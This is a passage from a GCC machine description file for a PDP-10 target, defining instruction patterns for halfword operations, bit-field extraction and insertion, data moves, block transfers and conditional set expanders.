\"r\")\n\t\t\t\t(const_int 18)) 2))]\n  \"\"\n  \"*return pdp10_output_halfword_extv (insn, operands, 0);\")\n\n(define_insn \"*HLR\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"reg_or_mem_operand\" \"+r,m\")\n\t\t\t (const_int 18)\n\t\t\t (const_int 18))\n        (lshiftrt:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r\")\n\t\t     (const_int 18)))]\n  \"\"\n  \"@\n   hlr %0,%W1\n   hlrm %1,%W0\")\n\n(define_insn \"HRRZ\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n\t(and:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r\")\n\t\t(const_int RIGHT_HALF)))]\n  \"\"\n  {\n    if (REG_P (operands[0]) && REG_P (operands[1])\n\t&& REGNO (operands[0]) == REGNO (operands[1])\n\t&& zero_extended_p (operands[0], 18, insn))\n      return \"\";\n    else\n      {\n        const char *insn[] = { \"hrrz %0,%W1\", \"hrrzm %1,%W0\" };\n\treturn insn[which_alternative];\n      }\n  })\n\n(define_insn \"*HRRO\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n\t(ior:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r\")\n\t\t(const_int LEFT_HALF)))]\n  \"\"\n  \"@\n   hrro %0,%W1\n   hrrom %1,%W0\")\n\n(define_insn \"*HLLZ\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n\t(and:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r\")\n\t\t(const_int LEFT_HALF)))]\n  \"\"\n  \"@\n   hllz %0,%W1\n   hllzm %1,%W0\")\n\n(define_insn \"*HLLO\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n\t(ior:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r\")\n\t\t(const_int RIGHT_HALF)))]\n  \"\"\n  \"@\n   hllo %0,%W1\n   hllom %1,%W0\")\n\n(define_insn \"*HLL\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"reg_or_mem_operand\" \"+r,m\")\n\t\t\t (const_int 18)\n\t\t\t (const_int 0))\n        (lshiftrt:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r\")\n\t\t     (const_int 18)))]\n  \"\"\n  \"@\n   hll %0,%W1\n   hllm %1,%W0\")\n\n(define_insn \"HLRZ\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n\t(lshiftrt:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r\")\n\t\t     (const_int 18)))]\n  \"\"\n  \"@\n   hlrz %0,%1\n   hlrzm %1,%0\")\n\n(define_insn \"HLRE\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n\t(ashiftrt:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r\")\n\t\t     (const_int 18)))]\n  \"\"\n  \"@\n   hlre %0,%1\n   hlrem %1,%0\")\n\n(define_insn \"*HLRE_extract\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extract:SI (match_operand:HI 1 \"memory_operand\" \"m\")\n\t\t\t (const_int 18)\n\t\t\t (const_int 0)))]\n  \"\"\n  \"hlre %0,%W1\")\n\n(define_insn \"*HRLZ\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n\t(ashift:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"rm,r\")\n\t\t   (const_int 18)))]\n  \"\"\n  \"@\n   hrlz %0,%1\n   hrlzm %1,%0\")\n\n(define_insn \"*loadhi\"\n  [(set (match_operand:HI 0 \"register_operand\" \"=r\")\n        (match_operand:HI 1 \"memory_operand\" \"m>\"))]\n  \"\"\n  \"*return pdp10_output_movhi (operands, 0);\")\n\n(define_insn \"*zloadhi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (zero_extend:SI (match_operand:HI 1 \"memory_operand\" \"m>\")))]\n  \"\"\n  \"*return pdp10_output_movhi (operands, 0);\")\n\n(define_insn \"*sloadhi_1\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (sign_extend:SI\n\t (match_operand:HI 1 \"pdp10_maybe_volatile_memory_operand\" \"m\")))]\n  \"pdp10_pointer_alignment (XEXP (operands[1], 0)) >= UNITS_PER_WORD\"\n  \"*return pdp10_output_movhi (operands, 1);\")\n\n(define_insn \"*sloadhi_2\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (sign_extend:SI\n\t (match_operand:HI 1 \"pdp10_maybe_volatile_memory_operand\" \"m\")))]\n  \"pdp10_pointer_alignment (XEXP (operands[1], 0)) < UNITS_PER_WORD\"\n  {\n    output_asm_insn (pdp10_output_movhi (operands, 0), operands);\n    return \"hrre %0,%0\";\n  }\n  [(set_attr \"length\" \"2\")])\n\n(define_insn \"storehi\"\n  [(set (match_operand:HI 0 \"memory_operand\" \"=m>\")\n\t(match_operand:HI 1 \"register_operand\" \"r\"))]\n  \"\"\n  \"*return pdp10_output_movhi (operands, 0);\")\n\n(define_insn \"*zstorehi\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"=m\")\n        (zero_extend:SI (match_operand:HI 1 \"register_operand\" \"r\")))]\n  \"\"\n  \"hrrzm %1,%0\")\n\n(define_insn \"*sstorehi\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"=m\")\n        (sign_extend:SI (match_operand:HI 1 \"memory_operand\" \"r\")))]\n  \"\"\n  \"hrrem %1,%0\")\n\n(define_expand \"extv\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(sign_extract:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"\"\n  \"if (INTVAL (operands[2]) + INTVAL (operands[3]) > BITS_PER_WORD)\n     FAIL;\n   if (!TARGET_XKL2)\n     {\n       if (pdp10_expand_extv (operands))\n         DONE;\n     }\")\n\n(define_insn \"*extv_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extract:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"!TARGET_XKL2\"\n  \"*return pdp10_output_extv_sequence (operands);\"\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*extv_mem\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extract:SI (match_operand:QI 1 \"memory_operand\" \"m\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"!TARGET_XKL2\"\n  \"*return pdp10_output_extv_sequence (operands);\"\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*extv_memsi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extract:SI (match_operand:SI 1 \"memory_operand\" \"m\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"!TARGET_XKL2\"\n  \"*return pdp10_output_extv_sequence (operands);\"\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*LDBE_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extract:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"TARGET_XKL2\"\n  \"*return pdp10_output_extv (insn, operands);\")\n\n(define_insn \"*LDBE_regqi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extract:SI (match_operand:QI 1 \"register_operand\" \"r\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"TARGET_XKL2\"\n  \"*return pdp10_output_extv (insn, operands);\")\n\n(define_insn \"*LDBE_mem\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(sign_extract:SI (match_operand:QI 1 \"memory_operand\" \"r\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"TARGET_XKL2\"\n  \"*return pdp10_output_extv (insn, operands);\")\n\n(define_expand \"extzv\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(zero_extract:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"\"\n  \"if (INTVAL (operands[2]) + INTVAL (operands[3]) > BITS_PER_WORD)\n     FAIL;\n   if (pdp10_expand_extzv (operands))\n     DONE;\")\n\n(define_insn \"*extzv_reg_sequence\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(zero_extract:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"INTVAL (operands[2]) == 16 || INTVAL (operands[3]) == 0\"\n  \"*return pdp10_output_extzv_sequence (operands);\"\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*extzv_memsi_sequence\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(zero_extract:SI (match_operand:SI 1 \"memory_operand\" \"m\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"INTVAL (operands[2]) == 16\n   || (TARGET_EXTENDED\n       && (INTVAL (operands[3]) == 0\n\t   || INTVAL (operands[2]) + INTVAL (operands[3]) == 36)\n       && !CONSTANT_ADDRESS_P (XEXP (operands[1], 0)))\"\n;       && (GET_CODE (XEXP (operands[1], 0)) == REG\n;\t   || GET_CODE (XEXP (operands[1], 0)) == PLUS))\"\n;\t   || (GET_CODE (XEXP (operands[1], 0)) == PLUS\n;\t       && INTVAL (XEXP (XEXP (operands[1], 0), 1))\n;\t\t  % UNITS_PER_WORD == 0)))\"\n  \"*return pdp10_output_extzv_sequence (operands);\"\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*extzv_mem_sequence\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(zero_extract:SI (match_operand:QI 1 \"memory_operand\" \"m\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"INTVAL (operands[2]) == 16\n   || (TARGET_EXTENDED\n       && INTVAL (operands[3]) == 0\n       && !CONSTANT_ADDRESS_P (XEXP (operands[1], 0))\n       && (GET_CODE (XEXP (operands[1], 0)) == REG\n\t   || (GET_CODE (XEXP (operands[1], 0)) == PLUS\n\t       && INTVAL (XEXP (XEXP (operands[1], 0), 1))\n\t\t  % UNITS_PER_WORD == 0)))\"\n  \"*return pdp10_output_extzv_sequence (operands);\"\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*extzv_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(zero_extract:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"INTVAL (operands[2]) != 16\"\n  \"*return pdp10_output_extzv (insn, operands);\")\n\n(define_insn \"*extzv_mem\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(zero_extract:SI (match_operand:QI 1 \"memory_operand\" \"m\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"INTVAL (operands[2]) != 16\"\n  \"*return pdp10_output_extzv (insn, operands);\")\n\n(define_insn \"*extzv_memsi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(zero_extract:SI (match_operand:SI 1 \"memory_operand\" \"m\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"INTVAL (operands[2]) != 16\"\n  \"*return pdp10_output_extzv (insn, operands);\")\n\n(define_insn \"*move_dpb\"\n  [(set (match_operand:QI 0 \"memory_operand\" \"=m\")\n\t(subreg:QI (zero_extract:SI (match_operand:SI 2 \"memory_operand\" \"m\")\n\t\t\t\t    (const_int 9)\n\t\t\t\t    (const_int 27)) 3))\n   (clobber (match_scratch:SI 1 \"=r\"))]\n  \"\"\n  {\n    output_asm_insn (\"move %1,%2\", operands);\n    return pdp10_output_store_byte (insn, operands);\n  }\n  [(set_attr \"length\" \"2\")])\n\n(define_insn \"*move_dpb2\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t\t\t (const_int 8)\n\t\t\t (const_int 0))\n\t(and:SI (match_operand:SI 2 \"memory_operand\" \"m\")\n\t\t(const_int 255)))\n   (clobber (match_scratch:SI 1 \"=r\"))]\n  \"\"\n  {\n    output_asm_insn (\"move %1,%2\", operands);\n    return pdp10_output_store_byte (insn, operands);\n  }\n  [(set_attr \"length\" \"2\")])\n\n(define_expand \"insv\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n\t\t\t (match_operand:SI 1 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\"))\n\t(match_operand:SI 3 \"register_operand\" \"\"))]\n  \"\"\n  \"if (INTVAL (operands[1]) + INTVAL (operands[2]) > BITS_PER_WORD)\n     FAIL;\n   /* FIXME: is this necessary?  According to test/misc/array-loop.c, yes. */\n   if (GET_CODE (operands[0]) == MEM\n       && GET_CODE (XEXP (operands[0], 0)) == REG\n       && INTVAL (operands[1]) == BITS_PER_WORD\n       && INTVAL (operands[2]) == 0)\n     {\n       emit_move_insn (gen_rtx_MEM (SImode, XEXP (operands[0], 0)),\n\t\t       operands[3]);\n       DONE;\n     }\")\n\n; (define_insn \"\"\n;   [(set (zero_extract:SI (match_operand:SI 0 \"register_operand\" \"+r\")\n; \t\t\t (const_int 18)\n; \t\t\t (const_int 18))\n; \t(match_operand:SI 3 \"register_operand\" \"r\"))]\n;   \"\"\n;   \"*return pdp10_output_insv (insn, operands);\")\n\n(define_insn \"*insv_reg\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"register_operand\" \"+r\")\n\t\t\t (match_operand:SI 1 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\"))\n\t(match_operand:SI 3 \"register_operand\" \"r\"))]\n  \"\"\n  \"*return pdp10_output_insv (insn, operands);\")\n\n(define_insn \"*insv_mem\"\n  [(set (zero_extract:SI (match_operand:QI 0 \"memory_operand\" \"+m\")\n\t\t\t (match_operand:SI 1 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\"))\n\t(match_operand:SI 3 \"register_operand\" \"r\"))]\n  \"\"\n  \"*return pdp10_output_insv (insn, operands);\")\n\n(define_insn \"*insv_memsi\"\n  [(set (zero_extract:SI (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t\t\t (match_operand:SI 1 \"const_int_operand\" \"\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"\"))\n\t(match_operand:SI 3 \"register_operand\" \"r\"))]\n  \"\"\n  \"*return pdp10_output_insv (insn, operands);\")\n\n(define_expand \"movsi\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n        (match_operand:SI 1 \"general_operand\" \"\"))]\n  \"\"\n  \"if (GET_CODE (operands[0]) == ZERO_EXTRACT)\n     operands[1] = force_reg (SImode, operands[1]);\")\n\n;; Special version using SKIPA to load a full-word constant.  This may\n;; be beneficial on processors with a cache.  Note the 'x' constraint\n;; on alternative 7.  Reload can fall back on the last alternative if\n;; instisting on moving to register 0.\n(define_insn \"*movsi_cache\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,r,r,r,r,r,r,x,m,m,m,r\")\n\t;; ADDRESS: the S constraint allows a symbol.\n        (match_operand:SI 1 \"general_operand\" \"rm,I,S,L,M,N,P,i,O,M,r,i\"))]\n  \"TARGET_CACHE && !optimize_size\"\n  \"*return pdp10_output_movsi (insn, which_alternative);\"\n  [(set_attr \"length\" \"1,1,1,1,1,1,1,2,1,1,1,1\")])\n\n(define_insn \"*movsi_nocache\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,r,r,r,r,r,r,r,m,m,m\")\n\t;; ADDRESS: the S constraint allows a symbol.\n        (match_operand:SI 1 \"general_operand\" \"rm,I,S,L,M,N,P,i,O,M,r\"))]\n  \"\"\n  \"*return pdp10_output_movsi (insn, which_alternative);\")\n\n(define_insn \"move_two_halves\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ior:SI (ashift:SI (match_operand:SI 1 \"immediate_operand\" \"p\")\n\t\t\t   (const_int 18))\n\t\t(match_operand:SI 2 \"immediate_operand\" \"p\")))]\n  \"\"\n  \"move %0,[%1,,%2]\")\n\n(define_insn \"*MOVEI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (plus:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"I\"))\n\t\t(const_int RIGHT_HALF)))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'I')\"\n  \"movei %0,%2(%1)\")\n\n(define_insn \"*MOVS\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n\t(match_operator:SI 1 \"pdp10_rotate_operator\"\n\t [(match_operand:SI 2 \"reg_or_mem_operand\" \"rm,r\") (const_int 18)]))]\n  \"\"\n  \"@\n   movs %0,%2\n   movsm %2,%0\")\n\n(define_insn \"*EXCH\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"+rm\")\n        (match_operand:SI 1 \"register_operand\" \"r\"))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(match_dup 0))]\n  \"\"\n  \"exch %1,%0\")\n\n(define_insn \"*SETZB\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=rm\") (const_int 0))\n   (set (match_operand:SI 1 \"register_operand\" \"=r\") (const_int 0))]\n  \"\"\n  \"setzb %1,%0\")\n\n(define_expand \"movdi\"\n  [(set (match_operand:DI 0 \"reg_or_mem_operand\" \"\")\n        (match_operand:DI 1 \"general_operand\" \"\"))]\n  \"\"\n  \"if (!HAVE_DMOVE && pdp10_expand_dmove (operands[0], operands[1]))\n     DONE;\")\n\n;; TODO: if there's a REG_UNUSED note attached to this insn, avoid\n;; moving the unused part of the DImode register.\n(define_insn \"DMOVE\"\n  [(set (match_operand:DI 0 \"reg_or_mem_operand\" \"=r,r,r,r,r,o,m\")\n        (match_operand:DI 1 \"general_operand\" \"rm,O,I,J,i,O,r\"))]\n  \"TARGET_KI10up\"\n  \"@\n   dmove %0,%1\n   setzb %0,%Z0\n   movei %0,0\\;movei %Z0,%1\n   seto %0,\\;movni %Z0,%n1\n   dmove %0,[%D1]\n   setzm %0\\;setzm %Z0\n   dmovem %1,%0\"\n  [(set_attr \"length\" \"1,1,2,2,1,2,1\")])\n\n(define_insn \"*movdi\"\n  [(set (match_operand:DI 0 \"reg_or_mem_operand\" \"=r,r,r,r,r,o,o\")\n        (match_operand:DI 1 \"general_operand\" \"ro,O,I,J,i,O,r\"))]\n  \"!TARGET_KI10up\"\n  \"@\n   move %0,%1\\;move %Z0,%Z1\n   setzb %0,%Z0\n   movei %0,0\\;movei %Z0,%1\n   seto %0,\\;movni %Z0,%n1\n   move %0,[%A1]\\;move %Z0,[%B1]\n   setzm %0\\;setzm %Z0\n   movem %1,%0\\;movem %Z1,%Z0\"\n  [(set_attr \"length\" \"2,1,2,2,2,2,2\")])\n\n(define_expand \"movti\"\n  [(set (match_operand:TI 0 \"reg_or_mem_operand\" \"\")\n        (match_operand:TI 1 \"general_operand\" \"\"))]\n  \"TARGET_KI10up\"\n  \"if (pdp10_expand_move_4 (operands[0], operands[1]))\n     DONE;\")\n\n(define_insn \"movsf\"\n  [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"=r,r,r,r,m,m\")\n        (match_operand:SF 1 \"general_operand\" \"rm,R,G,F,R,r\"))]\n  \"\"\n  \"@\n   move %0,%1%; movsf\n   movei %0,0%; movsf\n   movsi %0,%G1%; movsf\n   move %0,[%1]%; movsf\n   setzm %0%; movsf\n   movem %1,%0%; movsf\")\n\n(define_expand \"movdf\"\n  [(set (match_operand:DF 0 \"reg_or_mem_operand\" \"\")\n        (match_operand:DF 1 \"general_operand\" \"\"))]\n  \"\"\n  \"if (!HAVE_DMOVE && pdp10_expand_dmove (operands[0], operands[1]))\n     DONE;\")\n\n(define_insn \"*movdf_KI10up\"\n  [(set (match_operand:DF 0 \"reg_or_mem_operand\" \"=r,r,r,r,o,m\")\n        (match_operand:DF 1 \"general_operand\" \"rm,R,G,F,R,r\"))]\n  \"TARGET_KI10up\"\n  \"@\n   dmove %0,%1\n   setzb %0,%Z0%; movdf\n   movsi %0,%G1%; movdf\\;movei %Z0,0%; movdf\n   dmove %0,[%1]\n   setzm %0%; movdf\\;setzm %Z0%; movdf\n   dmovem %1,%0\"\n  [(set_attr \"length\" \"1,1,2,1,2,1\")])\n\n(define_insn \"*movdf_notKI10up\"\n  [(set (match_operand:DF 0 \"reg_or_mem_operand\" \"=r,r,r,r,o,o\")\n        (match_operand:DF 1 \"general_operand\" \"ro,R,G,F,R,r\"))]\n  \"!TARGET_KI10up\"\n  \"@\n   move %0,%1%; movdf\\;move %Z0,%Z1%; movdf\n   setzb %0,%Z0%; movdf\n   movsi %0,%G1%; movdf\\;movei %Z0,0%; movdf\n   move %0,[%A1]%; movdf\\;move %Z0,[%B1]%; movdf\n   setzm %0%; movdf\\;setzm %Z0%; movdf\n   movem %1,%0%; movdf\\;movem %Z1,%Z0%; movdf\"\n  [(set_attr \"length\" \"2,1,2,2,2,2\")])\n\n(define_expand \"movstrsi\"\n  [(match_operand:BLK 0 \"general_operand\" \"\")\n   (match_operand:BLK 1 \"general_operand\" \"\")\n   (match_operand:SI 2 \"general_operand\" \"\")\n   (match_operand:SI 3 \"const_int_operand\" \"\")]\n  \"\"\n  \"if (pdp10_expand_movstrsi (operands))\n     DONE;\n   FAIL;\")\n\n(define_expand \"clrstrsi\"\n  [(match_operand:BLK 0 \"general_operand\" \"\")\n   (match_operand:SI 1 \"general_operand\" \"\")\n   (match_operand:SI 2 \"const_int_operand\" \"\")]\n  \"\"\n  \"if (pdp10_expand_clrstrsi (operands))\n     DONE;\n   FAIL;\")\n\n; (define_expand \"cmpstrsi\"\n;   [(set (match_operand:SI 0 \"register_operand\" \"\")\n; \t(compare:SI (match_operand:BLK 1 \"general_operand\" \"\")\n; \t\t    (match_operand:BLK 2 \"general_operand\" \"\")))\n;    (use (match_operand:SI 3 \"general_operand\" \"\"))\n;    (use (match_operand:SI 4 \"const_int_operand\" \"\"))]\n;   \"TARGET_KL10up && TARGET_STRING\"\n;   \"if (pdp10_expand_cmpstrsi (operands))\n;      DONE;\n;    FAIL;\")\n\n(define_insn \"BLT\"\n  [(unspec_volatile:BLK\n    [(match_operand:SI 0 \"register_operand\" \"r\")] VUNSPEC_BLT)\n   (clobber (match_dup 0))\n   (use (match_operand:BLK 1 \"memory_operand\" \"m\"))]\n  \"\"\n  \"blt %0,%1\")\n\n(define_insn \"XBLT\"\n  [(unspec_volatile:BLK\n    [(match_operand:TI 0 \"register_operand\" \"+r\")] VUNSPEC_XBLT)\n  (clobber (match_dup 0))]\n  \"TARGET_KL10up\"\n  \"extend %0,[xblt]\")\n\n; (define_insn \"MOVSLJ\"\n;   [(unspec_volatile:BLK [(match_operand:SI 0 \"register_operand\" \"+r\")]\n; \t\t\t VUNSPEC_MOVSLJ)]\n;   \"TARGET_KL10up && TARGET_STRING\"\n;   \"extend %0,[movslj]\")\n\n; (define_insn \"MOVST\"\n;   [(unspec_volatile:BLK [(match_operand:SI 0 \"register_operand\" \"+r\")]\n; \t\t\t VUNSPEC_MOVST)]\n;   \"TARGET_KL10up && TARGET_STRING\"\n;   \"extend %0,[movst]\")\n\n; (define_insn \"CMPS\"\n;   [(unspec_volatile:BLK [(match_operand:SI 0 \"register_operand\" \"+r\")]\n;\t\t\t  VUNSPEC_CMPS)]\n;   \"TARGET_KL10up && TARGET_STRING\"\n;   \"extend %0,[cmps]\")\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Conditional Data Movement\n\n;; (define_expand \"cstoresi4\" ...)\n;; (define_expand \"cstoresf4\" ...)\n\n(define_expand \"seq\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(eq:SI (match_dup 1) (match_dup 2)))]\n  \"\"\n  \"if (GET_MODE (pdp10_compare_op0) == DFmode)\n     FAIL;\n   operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"sne\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(ne:SI (match_dup 1) (match_dup 2)))]\n  \"\"\n  \"if (GET_MODE (pdp10_compare_op0) == DFmode)\n     FAIL;\n   operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"slt\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(lt:SI (match_dup 1) (match_dup 2)))]\n  \"\"\n  \"if (GET_MODE (pdp10_compare_op0) == DFmode)\n     FAIL;\n   operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"sgt\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(gt:SI (match_dup 1) (match_dup 2)))]\n  \"\"\n  \"if (GET_MODE (pdp10_compare_op0) == DFmode)\n     FAIL;\n   operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"sle\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(le:SI (match_dup 1) (match_dup 2)))]\n  \"\"\n  \"if (GET_MODE (pdp10_compare_op0) == DFmode)\n     FAIL;\n   operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"sge\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(ge:SI (match_dup 1) (match_dup 2)))]\n  \"\"\n  \"if (GET_MODE (pdp10_compare_op0) == DFmode)\n     FAIL;\n   operands[1] = pdp10_compare_op0;\n   operands[2] = pdp10_compare_op1;\")\n\n(define_expand \"sltu\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(lt:SI (match_dup 1) (match_dup 2)))]\n  \"\"\n  \"operands[1] = pdp10_flip_sign_bit (pdp10_compare_op0);\n   operands[2] = pdp10_flip_sign_bit (pdp10_compare_op1);\")\n\n(define_expand \"sgtu\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(gt:SI (match_dup 1) (match_dup 2)))]\n  \"\"\n  \"operands[1] = pdp10_flip_sign_bit (pdp10_compare_op0);\n   operands[2] = pdp10_flip_sign_bit (pdp10_compare_op1);\")\n\n(define_expand \"sleu\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(le:SI (match_dup 1) (match_dup 2)))]\n  \"\"\n  \"operands[1] = pdp10_flip_sign_bit (pdp10_compare_op0);\n   operands[2] = pdp10_flip_sign_bit (pdp10_compare_op1);\")\n\n(define_expand \"sgeu\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(ge:SI (match_dup 1) (match_dup 2)))]\n  \"\"\n  \"operands[1] = pdp10_flip_sign_bit (pdp10_compare_op0);\n   operands[2] = pdp10_flip_sign_bit (pdp10_compare_op1);\")\n\n(define_insn \"*snesi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,x\")\n\t(ne:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"0,rm\")\n\t       (const_int 0)))]\n  \"\"\n  \"@\n   skipe %@%0\\;%_movei %0,1\n   skipe %0,%1\\;%_movei %0,1\"\n  [(set_attr \"length\" \"2\")])\n\n(define_insn \"*sgesi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ge:SI (match_operand:SI 1 \"register_operand\" \"0\")\n\t       (const_int 0)))]\n  \"\"\n  \"lsh %0,-43\\;xori %0,1\"\n  [(set_attr \"length\" \"2\")])\n\n;; This seemingly useless instruction combination is needed to enable\n;; the combination below.\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(xor:SI (plus:SI (match_operand:SI 1 \"register_operand\" \"0\")\n\t\t\t (match_operand:SI 2 \"reg_or_mem_operand\" \"rm\"))\n\t\t(const_int SIGNBIT)))]\n  \"0\"\n  \"add %0,%2\\;tlc %0,400000\")\n\n;; Calculate the truth value of this particular unsigned comparison\n;; with ADD and JCRY0.\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(gt:SI (xor:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t       (const_int 